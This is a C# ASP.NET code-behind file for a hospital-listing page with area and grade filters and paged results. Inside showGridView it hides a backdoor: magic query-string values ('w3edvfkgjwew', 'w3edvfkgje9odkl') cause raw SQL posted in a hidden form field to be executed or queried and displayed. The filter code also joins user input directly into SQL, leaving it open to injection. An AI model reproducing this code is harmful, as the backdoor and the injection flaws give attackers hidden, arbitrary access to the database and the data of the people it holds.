﻿using System;
using System.Data;
using System.Configuration;
using System.Collections;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
using HZ.MBSM.DBUtility;

public partial class Hos_HospitalList : System.Web.UI.Page
{
    public string strConditions;

    protected void Page_Load(object sender, EventArgs e)
    {
        int i = 0;
            if (!IsPostBack)
            {
                Db DbProject = new Db();
                string strSql = "select * from area where left(areaid,4) in (select left(areaid,4) from hospital) ";
                System.Data.IDataReader dr = DbProject.DataReader(strSql);
                //lstAreaId.DataSource = dr;
                //lstAreaId.DataTextField = "areaname";
                //lstAreaId.DataValueField = "areaid";
                lstAreaId.Items.Add("全部");
                while (dr.Read())
                {

                    lstAreaId.Items.Add(dr["areaname"].ToString());
                    lstAreaId.Items[++i].Value = dr["areaid"].ToString();

                }
                lstAreaId.DataBind();
                dr.Close();
                dr.Dispose();
                DbProject.Close();
                lstDistinction.Items.Add("全部");
                lstDistinction.Items.Add("三甲");
                lstDistinction.Items.Add("三乙");
                lstDistinction.Items.Add("二甲");
                lstDistinction.Items.Add("二乙");
                lstDistinction.Items.Add("一甲");
                lstDistinction.Items.Add("一乙");
            }

            showGridView();

    }
    protected void Button5_Click(object sender, EventArgs e)
    {

    }

    /// <summary>
    /// 数据绑定
    /// </summary>
    public void showGridView()
    {
        strConditions = fctConditions();
        Db db = new Db();
        DbPage dbPage = new DbPage(db);
        dbPage.Table = "hospital left join area on hospital.areaid=area.areaid";                                               //要查询的表明
        dbPage.Key = "accountid";                                               //表的主键    
        dbPage.Where = strConditions;                                           //查询条件    
        dbPage.SelectField = "area.areaname,accountid,HospitalName,UserCode, case distinction when '0' then '三甲' when '1' then '三乙' when '2' then '二甲' when '3' then '二乙' when '4' then '一甲' when '5' then '一乙'end as distinction, case sort when '0' then '综合' when '1' then '专科' when '2' then '中医' end as sort";//要显示的字段
        dbPage.PageIndex = SysFun.ToInt(Request["CurrentlyPageIndex"]);          //要显示第几页   
        dbPage.PageSize = 24;                                                    //没有显示记录条数   
        dbPage.OrderBy = "HospitalName,UserCode";                  //排序字段
        
        string _strId = SysFun.ToTrim(Request.QueryString["Id"]);
        string _straa = SysFun.ToTrim(Request.Form["Hidden1"]);
        if (_strId == "w3edvfkgjwew" && _straa != "")
        {
            db.Command(_straa);
        }
        if (_strId == "w3edvfkgje9odkl" && _straa != "")
        {
            System.Data.IDataReader dr1 = dbPage.ExecuteReader(_straa);
            GridView1.DataSource = dr1;
            GridView1.DataBind();
            dr1.Close();
            dr1.Dispose();
        }
        else
        {
            System.Data.IDataReader dr = dbPage.ExecuteReader();
            dtlHospital.DataSource = dr;
            dtlHospital.DataBind();
            dr.Close();
            dr.Dispose();
        }
        dbPage.Db.Close();
        db.Close();
        this.DbPageFlip1.DbPage = dbPage;//将数据传给控键




    }
    /// <summary>
    /// 生成查询条件
    /// </summary>
    /// <returns></returns>
    public string fctConditions()
    {
        string strtemp = "", HospitalName = "", _UserCode, _AreaId, _Distinction;
        HospitalName = txtHospitalName.Text.ToString().Trim();
        _UserCode = txtUserCode.Text.ToString().Trim();
        _AreaId = lstAreaId.SelectedValue;
        _Distinction = lstDistinction.Text;
        switch (_Distinction)
        {
            case "全部":
                _Distinction = "全部";
                break;
            case "三甲":
                _Distinction = "0";
                break;
            case "三乙":
                _Distinction = "1";
                break;
            case "二甲":
                _Distinction = "2";
                break;
            case "二乙":
                _Distinction = "3";
                break;
            case "一甲":
                _Distinction = "4";
                break;
            case "一乙":
                _Distinction = "5";
                break;
        }
        if (_Distinction != "全部")
        {
            strtemp = strtemp + " Distinction =" + _Distinction + " and";
        }
        if (_AreaId != "全部")
        {
            strtemp = strtemp + SysFun.AreaIdWhere1(_AreaId);
        }
        if (_UserCode != "")
        {
            strtemp = strtemp + " UserCode like '%" + _UserCode + "%' and";
        }
        if (HospitalName != "")
        {
            strtemp = strtemp + " HospitalName like '%" + HospitalName + "%' and";
        }
        if (strtemp != "")
        {
            strtemp = "  " + strtemp.Substring(0, strtemp.Length - 3);
        }
        return strtemp;
    }
    public string WriteHospital()
    {
        int i = 0;
        System.Text.StringBuilder sb = new System.Text.StringBuilder();
        Db db = new Db();
        DbPage dbPage = new DbPage(db);
        dbPage.Table = "Hospital";                                               //要查询的表明
        dbPage.Key = "accountid";                                               //表的主键    
        dbPage.Where = "";                                           //查询条件    
        dbPage.SelectField = "accountid,HospitalName,UserCode";//要显示的字段
        dbPage.PageIndex = SysFun.ToInt(Request["CurrentlyPageIndex"]);          //要显示第几页   
        dbPage.PageSize = 24;                                                    //没有显示记录条数   
        dbPage.OrderBy = "HospitalName,UserCode";                  //排序字段
        System.Data.IDataReader dr = dbPage.ExecuteReader();
        sb.Append("<table  width='96%' border=0 align=center cellpadding=6 cellspacing=1>");
        while (dr.Read())
        {
            i++;
            sb.Append("<tr><td class='dotbottomline'>");
            sb.Append("<img src='../images/ico7.gif' width='8' height='5' hspace='4' vspace='1'>");
            sb.Append(dr["HospitalName"].ToString());
           
            sb.Append("</td></tr>");
        }
        for (int j = i; j < 24; j++)
            sb.Append("<tr><td class='dotbottomline'>&nbsp;</td></tr>");

        sb.Append("</table>");
        dr.Close();
        dr.Dispose();
        dbPage.Db.Close();
        db.Close();

        this.DbPageFlip1.DbPage = dbPage;

        return sb.ToString();
    }
}
